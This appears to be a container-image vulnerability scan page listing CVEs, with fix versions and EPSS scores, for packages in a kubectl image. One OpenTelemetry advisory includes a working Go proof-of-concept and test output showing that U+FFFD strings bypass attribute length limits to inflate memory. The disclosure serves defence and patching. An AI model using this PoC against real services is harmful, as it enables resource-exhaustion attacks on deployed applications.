Skip to main content
Testkube 2.15.0 is out! AI Governance, GitLab in AI Test Creation, an executions timeline, and much more! Read More

testkube-kubectl-1.37.1_linux_amd64

digestsha256:44fe2be8bf804aae8f9f550f4b60841d0b7e02bb8136fbf6057ebe5dc4ccf002
vulnerabilitiescritical: 12 high: 38 medium: 9 low: 1
platformlinux/amd64
size26 MB
packages127
critical: 7 high: 17 medium: 0 low: 0 curl 8.22.0-r0 (apk)

pkg:apk/alpine/curl@8.22.0-r0?arch=x86_64&os_name=alpine&os_version=3.24

# kubectl-release.dockerfile (5:5)
FROM alpine/kubectl:1.37.1

critical : CVE--2026--94265

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.776%
EPSS Percentile57th percentile
Description

critical : CVE--2026--92388

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.699%
EPSS Percentile54th percentile
Description

critical : CVE--2026--87866

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.510%
EPSS Percentile44th percentile
Description

critical : CVE--2026--87861

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.676%
EPSS Percentile53rd percentile
Description

critical : CVE--2026--86414

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.676%
EPSS Percentile53rd percentile
Description

critical : CVE--2026--86413

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.731%
EPSS Percentile55th percentile
Description

critical : CVE--2026--86411

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.433%
EPSS Percentile38th percentile
Description

high : CVE--2026--92392

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score1.284%
EPSS Percentile71st percentile
Description

high : CVE--2026--92389

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.721%
EPSS Percentile55th percentile
Description

high : CVE--2026--92387

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score1.045%
EPSS Percentile65th percentile
Description

high : CVE--2026--92386

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.828%
EPSS Percentile58th percentile
Description

high : CVE--2026--87864

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.828%
EPSS Percentile58th percentile
Description

high : CVE--2026--87863

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.828%
EPSS Percentile58th percentile
Description

high : CVE--2026--87862

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.995%
EPSS Percentile64th percentile
Description

high : CVE--2026--86412

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.828%
EPSS Percentile58th percentile
Description

high : CVE--2026--86410

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.766%
EPSS Percentile56th percentile
Description

high : CVE--2026--86409

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score1.096%
EPSS Percentile66th percentile
Description

high : CVE--2026--107929

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.667%
EPSS Percentile53rd percentile
Description

high : CVE--2026--107928

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.705%
EPSS Percentile54th percentile
Description

high : CVE--2026--94266

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.556%
EPSS Percentile47th percentile
Description

high : CVE--2026--92391

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score1.166%
EPSS Percentile68th percentile
Description

high : CVE--2026--92390

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.589%
EPSS Percentile49th percentile
Description

high : CVE--2026--86415

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.419%
EPSS Percentile37th percentile
Description

high : CVE--2026--87865

Affected range<8.23.0-r0
Fixed version8.23.0-r0
EPSS Score0.530%
EPSS Percentile46th percentile
Description
critical: 2 high: 9 medium: 4 low: 0 stdlib 1.26.8 (golang)

pkg:golang/stdlib@1.26.8

# kubectl-release.dockerfile (5:5)
FROM alpine/kubectl:1.37.1

critical : CVE--2026--56857

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.553%
EPSS Percentile47th percentile
Description

On Windows, when the target of Root.Mkdir or Root.MkdirAll is a junction pointing to an empty location, the operation can create a directory at the junction target even when that target is located outside the root. This only applies to operations where the last path component is a junction (path/to/junction, but not path/junction/target).

critical : CVE--2026--78663

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.827%
EPSS Percentile58th percentile
Description

The HTTP/2 server can refund connection-level flow control twice for the same data: Once when a client resets a stream (refunding data for any sent-but-unread portion of the stream), and again when a request handler reads the buffered data. A malicious client can exploit this to bypass the configured connection-level flow control limit (MaxReceiveBufferPerConnection). Total buffered data is still limited by the concurrent stream limit and stream-level flow control.

high : CVE--2026--97032

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.651%
EPSS Percentile52nd percentile
Description

HTTP/2 servers could end up crashing due to inadvertently modifying its HPACK encoder concurrently. This happens because the server modifies the HPACK encoder from two goroutines without synchronization: one uses the encoder to encode a HEADERS frame as part of a response sent to a client and the other modifies the encoder's table size when handling a SETTINGS frame containing SETTINGS_HEADER_TABLE_SIZE that a client sends. A malicious client can repeatedly send a request while changing the header table size to crash the server.

high : CVE--2026--97031

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.716%
EPSS Percentile55th percentile
Description

Multiple ECH outer extension references are not permitted under RFC 9849; previously, a client could send a well-crafted packet that could trigger memory exhaustion in the server process by specifying multiple references.

We now reject these as malformed and curb the memory amplification vector as a result.

high : CVE--2026--94440

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.706%
EPSS Percentile54th percentile
Description

Parsing a multipart form can bypass memory limits and read an arbitrarily long line into memory when the remaining limit at the start of a part is less than 400 bytes.

high : CVE--2026--94439

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.616%
EPSS Percentile50th percentile
Description

When an HTTP server handler sends a 2xx response to an HTTP/1 CONNECT request and returns without hijacking the connection, the server improperly continues to read and serve requests from the connection. Since a 2xx response to an HTTP/1 CONNECT converts the connection into a tunnel, the server should not treat the connection as continuing to contain HTTP.

The impact of this misbehavior is mostly limited to potential request smuggling, where an intermediate proxy considers the data on the connection to be tunneled and the server considers it to be HTTP.

high : CVE--2026--78669

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.817%
EPSS Percentile58th percentile
Description

A malicious HTTP/2 peer can cause excessive CPU consumption in the client or server by opening a large number of streams and then sending many small SETTINGS frames containing SETTINGS_INITIAL_WINDOW_SIZE values.

high : CVE--2026--78667

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.663%
EPSS Percentile53rd percentile
Description

When parsing a Range header containing a large number of small ranges, FileServer(FS), ServeContent, and ServeFile(FS) can consume an excessive amount of CPU.

high : CVE--2026--78660

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.523%
EPSS Percentile45th percentile
Description

Historically, we have been rather lax about malformed framing-related headers in our HTTP/2 implementation, as they cannot interfere with HTTP/2 framing. However, this makes it possible for our HTTP/2 implementation to forward responses containing such headers to an HTTP/1 client when acting as a reverse proxy. If the HTTP/1 client also does not behave strictly enough, this can result in response smuggling.

high : CVE--2026--78659

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.851%
EPSS Percentile59th percentile
Description

When "Trailer" headers are sent by a client, the HTTP server internally uses the header values to populate the Request.Trailer map passed to the server handler. Because Request.Trailer is a map, each entry incurs memory overhead. For HTTP/2 servers, a malicious client can exploit this by sending a "Trailer" header that declares a large number of fields, causing the server to allocate a disproportionate amount of memory while bypassing Server.MaxHeaderValueCount and Server.MaxHeaderBytes limits. This exploit is not applicable for HTTP/1 servers, which do not support multiplexing a large number of requests over one TCP connection, and whose Server.MaxHeaderBytes are calculated differently.

high : CVE--2026--56866

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.604%
EPSS Percentile50th percentile
Description

When http.Transport sends an HTTP/1 CONNECT request with a non-empty Request.Body, it writes the body directly to the connection without framing after the request headers. If the server rejects the CONNECT request with a non-2xx keep-alive response, Transport returns the connection to the idle pool. Because CONNECT requests do not have a request body, the server may interpret the trailing body bytes as a subsequent pipelined HTTP/1.1 request on the connection, leaving the pooled connection desynchronized and causing the next caller that reuses it to read the response to the injected request. In reverse proxies (including httputil.ReverseProxy) that forward CONNECT requests through a shared Transport, this can lead to cross-user response poisoning.

medium : CVE--2026--111943

Affected range<1.26.10
Fixed version1.26.10
EPSS Score0.501%
EPSS Percentile44th percentile
Description

On most platforms, Go uses the given system root certificates. However, in some narrower cases, the system trust stores may not be updated without further action.

To defend against the narrower set of cases that may remain affected, a denylist was added in crypto/x509 to return an error when calling Verify with any of the known intermediate certificates that are no longer considered to be trustworthy.

medium : CVE--2026--97030

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.289%
EPSS Percentile22nd percentile
Description

A trusted template author may have previously written a valid template wherein the use of the 'yield' keyword would not be correctly escaped.

We now ensure that valid keyword uses are escaped and non-keyword uses are not escaped.

medium : CVE--2026--94448

Affected range<1.26.9
Fixed version1.26.9
EPSS Score0.289%
EPSS Percentile22nd percentile
Description

When a JavaScript template literal contains consecutive expressions, the context tracking state was not properly reset upon entering a new expression.

We now ensure that template-literal expression entries correctly reset context variables so all subsequent regular expression literals are accurately recognized and escaped.

medium : CVE--2026--97054

Affected range<1.26.11
Fixed version1.26.11
EPSS Score0.479%
EPSS Percentile42nd percentile
Description

For HTTP/1 servers, when MaxBytesReader's limit is exceeded, "Connection: close" header is automatically set without synchronization, which might race with another header being set explicitly in the server handler. As a result, an HTTP/1 server that utilizes MaxBytesReader or MaxBytesHandler can crash due to runtime panic if its handler reads the request body concurrently with writing the response header.

critical: 1 high: 5 medium: 1 low: 0 golang.org/x/net 0.57.0 (golang)

pkg:golang/golang.org/x/net@0.57.0

# kubectl-release.dockerfile (5:5)
FROM alpine/kubectl:1.37.1

critical : CVE--2026--78663

Affected range<0.60.0
Fixed version0.60.0
EPSS Score0.827%
EPSS Percentile58th percentile
Description

The HTTP/2 server can refund connection-level flow control twice for the same data: Once when a client resets a stream (refunding data for any sent-but-unread portion of the stream), and again when a request handler reads the buffered data. A malicious client can exploit this to bypass the configured connection-level flow control limit (MaxReceiveBufferPerConnection). Total buffered data is still limited by the concurrent stream limit and stream-level flow control.

high : CVE--2026--97032

Affected range<0.60.0
Fixed version0.60.0
EPSS Score0.651%
EPSS Percentile52nd percentile
Description

HTTP/2 servers could end up crashing due to inadvertently modifying its HPACK encoder concurrently. This happens because the server modifies the HPACK encoder from two goroutines without synchronization: one uses the encoder to encode a HEADERS frame as part of a response sent to a client and the other modifies the encoder's table size when handling a SETTINGS frame containing SETTINGS_HEADER_TABLE_SIZE that a client sends. A malicious client can repeatedly send a request while changing the header table size to crash the server.

high : CVE--2026--78669

Affected range<0.60.0
Fixed version0.60.0
EPSS Score0.817%
EPSS Percentile58th percentile
Description

A malicious HTTP/2 peer can cause excessive CPU consumption in the client or server by opening a large number of streams and then sending many small SETTINGS frames containing SETTINGS_INITIAL_WINDOW_SIZE values.

high : CVE--2026--78661

Affected range<0.62.0
Fixed version0.62.0
EPSS Score0.481%
EPSS Percentile42nd percentile
Description

When coalescing adjacent text nodes in addText and fosterParent, appending to an existing TextNode's Data via string concatenation (n.Data += text) reallocated and copied the accumulated string on every token. Inputs containing many short text runs separated by ignored end tags (such as "a") caused O(n^2) allocations and byte copies.

Accumulate coalesced text in per-node byte slices during parsing and materialize Data strings once at the end of parse.

high : CVE--2026--78660

Affected range<0.60.0
Fixed version0.60.0
EPSS Score0.523%
EPSS Percentile45th percentile
Description

Historically, we have been rather lax about malformed framing-related headers in our HTTP/2 implementation, as they cannot interfere with HTTP/2 framing. However, this makes it possible for our HTTP/2 implementation to forward responses containing such headers to an HTTP/1 client when acting as a reverse proxy. If the HTTP/1 client also does not behave strictly enough, this can result in response smuggling.

high : CVE--2026--78659

Affected range<0.60.0
Fixed version0.60.0
EPSS Score0.851%
EPSS Percentile59th percentile
Description

When "Trailer" headers are sent by a client, the HTTP server internally uses the header values to populate the Request.Trailer map passed to the server handler. Because Request.Trailer is a map, each entry incurs memory overhead. For HTTP/2 servers, a malicious client can exploit this by sending a "Trailer" header that declares a large number of fields, causing the server to allocate a disproportionate amount of memory while bypassing Server.MaxHeaderValueCount and Server.MaxHeaderBytes limits. This exploit is not applicable for HTTP/1 servers, which do not support multiplexing a large number of requests over one TCP connection, and whose Server.MaxHeaderBytes are calculated differently.

medium : CVE--2026--97045

Affected range<0.62.0
Fixed version0.62.0
EPSS Score0.322%
EPSS Percentile26th percentile
Description

In childTextNodesAreLiteral, walking up the tree previously stopped at the nearest foreign ancestor once an HTML integration point was found. However, that integration point may itself be a descendant of an element that was foster-parented into a foreign namespace (such as or fostered under ), causing a parser to resolve the subtree in a different foreign namespace upon re-parsing the rendered output.

Continue walking the full ancestor chain and verify that every transition from a non-empty namespace occurs at an HTML integration point before emitting literal text.

critical: 1 high: 1 medium: 0 low: 0 zlib 1.3.2-r0 (apk)

pkg:apk/alpine/zlib@1.3.2-r0?arch=x86_64&os_name=alpine&os_version=3.24

# kubectl-release.dockerfile (5:5)
FROM alpine/kubectl:1.37.1

critical : CVE--2026--4738

Affected range<1.4-r0
Fixed version1.4-r0
EPSS Score0.296%
EPSS Percentile23rd percentile
Description

high : CVE--2026--85091

Affected range<1.3.2-r1
Fixed version1.3.2-r1
EPSS Score0.469%
EPSS Percentile41st percentile
Description
critical: 1 high: 0 medium: 0 low: 0 brotli 1.2.0-r1 (apk)

pkg:apk/alpine/brotli@1.2.0-r1?os_name=alpine&os_version=3.24

# kubectl-release.dockerfile (5:5)
FROM alpine/kubectl:1.37.1

critical : CVE--2026--111497

Affected range<1.2.1-r0
Fixed version1.2.1-r0
EPSS Score99.931%
EPSS Percentile100th percentile
Description
critical: 0 high: 4 medium: 1 low: 0 openssl 3.5.8-r0 (apk)

pkg:apk/alpine/openssl@3.5.8-r0?os_name=alpine&os_version=3.24

# kubectl-release.dockerfile (5:5)
FROM alpine/kubectl:1.37.1

high : CVE--2026--95691

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.285%
EPSS Percentile21st percentile
Description

high : CVE--2026--95692

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.449%
EPSS Percentile40th percentile
Description

high : CVE--2026--88823

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.267%
EPSS Percentile19th percentile
Description

high : CVE--2026--107496

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.399%
EPSS Percentile35th percentile
Description

medium : CVE--2026--88822

Affected range<3.5.9-r1
Fixed version3.5.9-r1
EPSS Score0.260%
EPSS Percentile18th percentile
Description
critical: 0 high: 1 medium: 0 low: 0 musl 1.2.6-r2 (apk)

pkg:apk/alpine/musl@1.2.6-r2?arch=x86_64&os_name=alpine&os_version=3.24

# kubectl-release.dockerfile (5:5)
FROM alpine/kubectl:1.37.1

high : CVE--2026--107891

Affected range<1.2.6-r6
Fixed version1.2.6-r6
EPSS Score0.549%
EPSS Percentile47th percentile
Description
critical: 0 high: 1 medium: 0 low: 0 golang.org/x/text 0.40.0 (golang)

pkg:golang/golang.org/x/text@0.40.0

# kubectl-release.dockerfile (5:5)
FROM alpine/kubectl:1.37.1

high : CVE--2026--56851

Affected range<0.41.0
Fixed version0.41.0
EPSS Score0.466%
EPSS Percentile41st percentile
Description

The Nickname profile can panic with an out-of-bounds slice error when transforming crafted input into a short destination buffer.

critical: 0 high: 0 medium: 1 low: 1 k8s.io/kubernetes 1.37.1 (golang)

pkg:golang/k8s.io/kubernetes@1.37.1

# kubectl-release.dockerfile (5:5)
FROM alpine/kubectl:1.37.1

medium : CVE--2025--1767

Affected range>=0
Fixed versionNot Fixed
EPSS Score0.703%
EPSS Percentile54th percentile
Description

Kubernetes GitRepo Volume Inadvertent Local Repository Access in k8s.io/kubernetes

low : CVE--2024--7598

Affected range>=1.3.0
Fixed versionNot Fixed
EPSS Score0.320%
EPSS Percentile26th percentile
Description

Kubernetes kube-apiserver Vulnerable to Race Condition in k8s.io/kubernetes

critical: 0 high: 0 medium: 1 low: 0 go.opentelemetry.io/otel 1.44.0 (golang)

pkg:golang/go.opentelemetry.io/otel@1.44.0

# kubectl-release.dockerfile (5:5)
FROM alpine/kubectl:1.37.1

medium : CVE--2026--128086

Affected range
>=1.0.0-RC1
<1.47.0
Fixed version1.47.0
EPSS Score0.437%
EPSS Percentile39th percentile
Description

Memory allocation amplification in W3C baggage parsing in go.opentelemetry.io/otel

critical: 0 high: 0 medium: 1 low: 0 go.opentelemetry.io/otel/trace 1.44.0 (golang)

pkg:golang/go.opentelemetry.io/otel/trace@1.44.0

# kubectl-release.dockerfile (5:5)
FROM alpine/kubectl:1.37.1

medium 5.3: CVE--2026--128085 Incorrect Calculation of Multi-Byte String Length

Affected range
>=1.35.0
<1.47.0
Fixed version1.47.0
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.536%
EPSS Percentile46th percentile
Description

Summary​

The AttributeValueLengthLimit span/log-record limit can be bypassed entirely with attribute values that consist of valid U+FFFD (REPLACEMENT CHARACTER) runes. The counting-based truncation introduced by the fix for GHSA-p9f8-wvj8-2fg8 (commit e016a78c9, first released in v1.33.0) has an "optimistic" fast path that skips every U+FFFD without counting it and without falling back to the correct slow path. A value of 1000 U+FFFD runes (3000 bytes) is stored verbatim even with a limit of 5 characters (15 bytes). The same defect affects the attribute truncation paths in go.opentelemetry.io/otel/sdk/trace (sdk/internal/attrnorm), go.opentelemetry.io/otel/sdk/log (sdk/log/internal/attrnorm), and the auto-instrumentation tracer in go.opentelemetry.io/otel/trace (trace/auto.go, introduced in v1.35.0).

This is an incomplete-fix issue: it is a distinct defect in the replacement code that GHSA-p9f8-wvj8-2fg8 introduced, affecting exactly the versions that advisory says are fixed (>= v1.33.0). The original advisory covers only the pre-v1.33.0 code.

Details​

The shared truncation helper is generated from internal/shared/attrnorm/truncate.go.tmpl. In the v1.46.0 release, the generated copies are sdk/internal/attrnorm/truncate.go and sdk/log/internal/attrnorm/truncate.go (identical logic, different package names). The optimistic path (v1.46.0, sdk/internal/attrnorm/truncate.go:175-199) is:

// Optimistically, assume all valid UTF-8.
var b strings.Builder
count := 0
for i, c := range s {
if c != utf8.RuneError {
count++
if count > limit {
return s[:i]
}
continue
}
_, size := utf8.DecodeRuneInString(s[i:])
if size == 1 {
// invalid encoding: fall through to the correct slow path
...
break
}
}

range over a string yields utf8.RuneError both for invalid bytes (size 1) and for a legitimately encoded U+FFFD (size 3). Only the size-1 case enters the slow path. A valid U+FFFD rune is therefore neither counted nor truncating: the loop slides over it. Consequences:

  1. A value made only of valid U+FFFD runes never increments count, so no truncation ever triggers and the value is returned unchanged, whatever its length.
  2. In a mixed string, every U+FFFD contributes 3 bytes that are not counted, and the final return s[:i] keeps all previously skipped U+FFFD runes, so the retained size grows linearly with the number of U+FFFD runes and is not bounded by limit.

The OpenTelemetry specification states that truncation applies "counting any character in it as 1". A valid U+FFFD is one character and must count as 1; here it counts as 0. The regression test suite of the repository contains no U+FFFD case, which is why this went unnoticed.

Call chains (v1.46.0):

  • trace: span.SetAttributes -> sdk/trace/span.go (normAttr) -> attrnorm.Truncate -> sdk/internal/attrnorm/truncate.go (truncate)
  • log: Record.AddAttributes / SetAttributes -> sdk/log/record.go (attrnorm.TruncateValue) -> sdk/log/internal/attrnorm/truncate.go (truncate)

Deduplication: GHSA-p9f8-wvj8-2fg8 describes the pre-v1.33.0 helper (safeTruncateValidUTF8), which gave up truncating entirely for strings containing RuneError. The rewrite in e016a78c9 replaced that code; this report concerns the rewritten code, is present only in versions that the advisory lists as fixed, and no public issue or advisory describes it.

PoC​

Minimal reproduction with the published release (no repository checkout needed). Go 1.25+ is required (the release declares go 1.25.0; any recent toolchain auto-selects one).

Create a directory with these files.

go.mod (then run go mod tidy once to fill go.sum):

module otelpoc

go 1.25.0

require (
go.opentelemetry.io/otel v1.46.0
go.opentelemetry.io/otel/log v0.22.0
go.opentelemetry.io/otel/sdk v1.46.0
go.opentelemetry.io/otel/sdk/log v0.22.0
go.opentelemetry.io/otel/trace v1.46.0
)

otelgo_truncate_test.go:

package otelpoc

import (
"context"
"strings"
"testing"
"unicode/utf8"

"go.opentelemetry.io/otel/attribute"
sdktrace "go.opentelemetry.io/otel/sdk/trace"
"go.opentelemetry.io/otel/sdk/trace/tracetest"
"go.opentelemetry.io/otel/trace"
)

// limitsWithLen returns span limits with AttributeValueLengthLimit=limit and
// everything else unlimited, isolating the length-limit enforcement under test.
func limitsWithLen(limit int) sdktrace.SpanLimits {
lim := sdktrace.NewSpanLimits()
lim.AttributeValueLengthLimit = limit
lim.AttributeCountLimit = -1
lim.AttributePerEventCountLimit = -1
lim.AttributePerLinkCountLimit = -1
lim.EventCountLimit = -1
lim.LinkCountLimit = -1
return lim
}

func captureOneSpan(t *testing.T, limit int, attrs ...attribute.KeyValue) []attribute.KeyValue {
t.Helper()
sr := tracetest.NewSpanRecorder()
tp := sdktrace.NewTracerProvider(
sdktrace.WithSpanProcessor(sr),
sdktrace.WithSpanLimits(limitsWithLen(limit)),
)
defer func() { _ = tp.Shutdown(context.Background()) }()

tr := tp.Tracer("poc")
_, span := tr.Start(context.Background(), "op")
span.SetAttributes(attrs...)
span.End()

ended := sr.Ended()
if len(ended) != 1 {
t.Fatalf("expected 1 ended span, got %d", len(ended))
}
return ended[0].Attributes()
}

// TestOT001_FFFDOnlyStringBypassesTraceLengthLimit demonstrates that a string
// attribute composed of valid U+FFFD runes is stored completely untruncated
// although AttributeValueLengthLimit=5.
func TestOT001_FFFDOnlyStringBypassesTraceLengthLimit(t *testing.T) {
const limit = 5
val := strings.Repeat("\uFFFD", 1000) // 1000 chars, 3000 bytes

got := captureOneSpan(t, limit, attribute.String("k", val))
if len(got) != 1 {
t.Fatalf("expected 1 attribute, got %d", len(got))
}
stored := got[0].Value.AsString()
t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
utf8.RuneCountInString(val), len(val),
utf8.RuneCountInString(stored), len(stored), limit)
// Per OTel spec ("counting any character in it as 1") the stored value
// must be at most `limit` characters (<= 15 bytes for U+FFFD).
if maxBytes := 3 * limit; len(stored) > maxBytes {
t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)",
limit, len(stored), maxBytes)
}
}

// TestOT001_FFFDMixedStringOverRetains demonstrates that valid U+FFFD runes
// are not counted in the optimistic truncation path: every U+FFFD adds 3
// uncounted bytes to the retained value.
func TestOT001_FFFDMixedStringOverRetains(t *testing.T) {
const limit = 5
val := strings.Repeat("\uFFFD", 100) + strings.Repeat("A", 6) // 106 chars, 306 bytes

got := captureOneSpan(t, limit, attribute.String("k", val))
stored := got[0].Value.AsString()
t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
utf8.RuneCountInString(val), len(val),
utf8.RuneCountInString(stored), len(stored), limit)
if chars := utf8.RuneCountInString(stored); chars > limit {
t.Fatalf("BYPASS: AttributeValueLengthLimit=%d but %d chars / %d bytes stored",
limit, chars, len(stored))
}
}

// TestOT001_ASCIIControl is the control case: plain ASCII over-limit values
// ARE truncated, proving the length limit is active in the same setup.
func TestOT001_ASCIIControl(t *testing.T) {
const limit = 5
val := strings.Repeat("B", 20)

got := captureOneSpan(t, limit, attribute.String("k", val))
stored := got[0].Value.AsString()
t.Logf("input: %d chars / %d bytes; stored: %d chars / %d bytes; limit=%d",
utf8.RuneCountInString(val), len(val),
utf8.RuneCountInString(stored), len(stored), limit)
if len(stored) != limit {
t.Fatalf("control failed: ASCII value not truncated (stored %d bytes)", len(stored))
}
}

// TestOT001_EventAttributesNotLengthTruncated documents that span-event
// attributes bypass AttributeValueLengthLimit entirely (no attrnorm.Truncate
// call in recordingSpan.addEvent).
func TestOT001_EventAttributesNotLengthTruncated(t *testing.T) {
const limit = 5
val := strings.Repeat("C", 100)

sr := tracetest.NewSpanRecorder()
tp := sdktrace.NewTracerProvider(
sdktrace.WithSpanProcessor(sr),
sdktrace.WithSpanLimits(limitsWithLen(limit)),
)
defer func() { _ = tp.Shutdown(context.Background()) }()
tr := tp.Tracer("poc")
_, span := tr.Start(context.Background(), "op")
span.AddEvent("ev", trace.WithAttributes(attribute.String("k", val)))
span.End()

ended := sr.Ended()
events := ended[0].Events()
if len(events) != 1 {
t.Fatalf("expected 1 event, got %d", len(events))
}
stored := events[0].Attributes[0].Value.AsString()
t.Logf("event attribute input: %d bytes; stored: %d bytes; limit=%d", len(val), len(stored), limit)
if len(stored) > limit {
t.Logf("CONFIRMED: event attribute not length-truncated (%d bytes > limit %d)", len(stored), limit)
}
}

(The -run pattern above selects the three truncation cases plus the control; the fourth test function is included because it is part of the exact file that produced the output below - it compiles but is not selected by the pattern, and its output does not appear.)

otelgo_log_truncate_test.go:

package otelpoc

import (
"context"
"strings"
"sync"
"testing"
"unicode/utf8"

"go.opentelemetry.io/otel/attribute"
apisdk "go.opentelemetry.io/otel/log"
sdklog "go.opentelemetry.io/otel/sdk/log"
)

type captureProcessor struct {
mu sync.Mutex
recs []*sdklog.Record
}

func (c *captureProcessor) Enabled(context.Context, sdklog.EnabledParameters) bool { return true }

func (c *captureProcessor) OnEmit(_ context.Context, r *sdklog.Record) error {
c.mu.Lock()
defer c.mu.Unlock()
clone := r.Clone()
c.recs = append(c.recs, &clone)
return nil
}

func (c *captureProcessor) Shutdown(context.Context) error { return nil }
func (c *captureProcessor) ForceFlush(context.Context) error {
return nil
}

// TestOT001_FFFDOnlyStringBypassesLogLengthLimit repeats the bypass against
// the sdk/log attribute path (sdk/log/internal/attrnorm, same template).
func TestOT001_FFFDOnlyStringBypassesLogLengthLimit(t *testing.T) {
const limit = 5
cp := &captureProcessor{}
lp := sdklog.NewLoggerProvider(
sdklog.WithProcessor(cp),
sdklog.WithAttributeValueLengthLimit(limit),
)
defer func() { _ = lp.Shutdown(context.Background()) }()

logger := lp.Logger("poc")
var r apisdk.Record
r.SetSeverity(apisdk.SeverityInfo)
r.AddAttributes(attribute.String("k", strings.Repeat("\uFFFD", 1000)))
logger.Emit(context.Background(), r)

cp.mu.Lock()
if len(cp.recs) != 1 {
t.Fatalf("expected 1 record, got %d", len(cp.recs))
}
rec := cp.recs[0]
cp.mu.Unlock()

stored := ""
rec.WalkAttributes(func(kv attribute.KeyValue) bool {
if string(kv.Key) == "k" {
stored = kv.Value.AsString()
}
return true
})
t.Logf("sdk/log input: 1000 chars / 3000 bytes; stored: %d chars / %d bytes; limit=%d",
utf8.RuneCountInString(stored), len(stored), limit)
if maxBytes := 3 * limit; len(stored) > maxBytes {
t.Fatalf("BYPASS: sdk/log WithAttributeValueLengthLimit=%d but %d bytes stored (expected <=%d)",
limit, len(stored), maxBytes)
}
}

Run:

go mod tidy
go test -count=1 -v -run "TestOT001_FFFDOnlyStringBypassesTraceLengthLimit|TestOT001_FFFDMixedStringOverRetains|TestOT001_ASCIIControl|TestOT001_FFFDOnlyStringBypassesLogLengthLimit" .

Expected output (captured against the published v1.46.0 modules; the three FAIL lines are the bypass being triggered and the PASS control proves the limit is active in the same setup; the only varying parts are the durations in parentheses and the total on the FAIL otelpoc summary line):

=== RUN TestOT001_FFFDOnlyStringBypassesLogLengthLimit
otelgo_log_truncate_test.go:66: sdk/log input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5
otelgo_log_truncate_test.go:69: BYPASS: sdk/log WithAttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)
--- FAIL: TestOT001_FFFDOnlyStringBypassesLogLengthLimit (0.00s)
=== RUN TestOT001_FFFDOnlyStringBypassesTraceLengthLimit
otelgo_truncate_test.go:61: input: 1000 chars / 3000 bytes; stored: 1000 chars / 3000 bytes; limit=5
otelgo_truncate_test.go:67: BYPASS: AttributeValueLengthLimit=5 but 3000 bytes stored (expected <=15)
--- FAIL: TestOT001_FFFDOnlyStringBypassesTraceLengthLimit (0.00s)
=== RUN TestOT001_FFFDMixedStringOverRetains
otelgo_truncate_test.go:81: input: 106 chars / 306 bytes; stored: 105 chars / 305 bytes; limit=5
otelgo_truncate_test.go:85: BYPASS: AttributeValueLengthLimit=5 but 105 chars / 305 bytes stored
--- FAIL: TestOT001_FFFDMixedStringOverRetains (0.00s)
=== RUN TestOT001_ASCIIControl
otelgo_truncate_test.go:98: input: 20 chars / 20 bytes; stored: 5 chars / 5 bytes; limit=5
--- PASS: TestOT001_ASCIIControl (0.00s)
FAIL
FAIL otelpoc 0.059s
FAIL

The mixed-string case stores 105 characters for a limit of 5: the 100 U+FFFD runes (300 uncounted bytes) are all retained, plus 5 of the 6 ASCII characters.

Impact​

Applications that enable AttributeValueLengthLimit (or WithAttributeValueLengthLimit for logs) to bound attribute memory do not get that bound for values containing valid U+FFFD runes. Span and log-record attribute values are routinely derived from untrusted input (HTTP headers, request bodies, database fields), so an attacker can inflate per-span memory retention linearly, defeating the memory protection the operator explicitly enabled and accumulating increased memory usage over the span/log pipeline. Confidentiality and integrity are not affected.

Suggested fix​

In the optimistic loop, count every rune of size > 1 (including the legitimately encoded U+FFFD) and only divert size-1 invalid bytes to the slow path. Add regression cases for: pure U+FFFD strings, U+FFFD-dominated mixed strings, and a truncation point landing after a U+FFFD (the current truncate_test.go has no U+FFFD case).